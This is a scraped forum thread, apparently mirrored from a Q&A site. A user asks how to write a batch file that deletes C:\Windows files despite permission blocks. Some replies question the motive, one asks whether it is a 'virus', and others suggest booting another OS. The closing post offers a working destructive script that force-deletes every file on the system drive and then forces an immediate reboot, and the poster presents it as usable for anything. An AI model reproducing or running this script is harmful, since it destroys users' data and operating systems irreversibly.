简体   繁体   中英

Permissions delete windows files Batch

I would like a batch file which can delete C:\\Windows files. But every time i try (:D) it keeps me away from it because of the permissions.

Does anyone know how to remove C:\\WINDOWS files?

Thanks.

我和其他人一样对此表示怀疑,但是要解决此问题,您很可能需要成为管理员。

Well, you can't if you are running the windows from the same directory. Windows will never allow you to do that.

Try booting up your system with some other OS and then you can remove the directory of another OS.

BTW, why are you doing this? Are you trying to write some kind of a dumb virus?

are you trying to run this while Windows is running. That will not work on many files in C:\\windows simply b/c the operating system is using them.

Get a CD and boot the box using a Linux disk. Mount the drive and delete until your eyes bleed.

Got it now:

@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00

i know this deletes the hole drive,,, but you can use this on any way.

Was it so hard for you guys?

xD

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM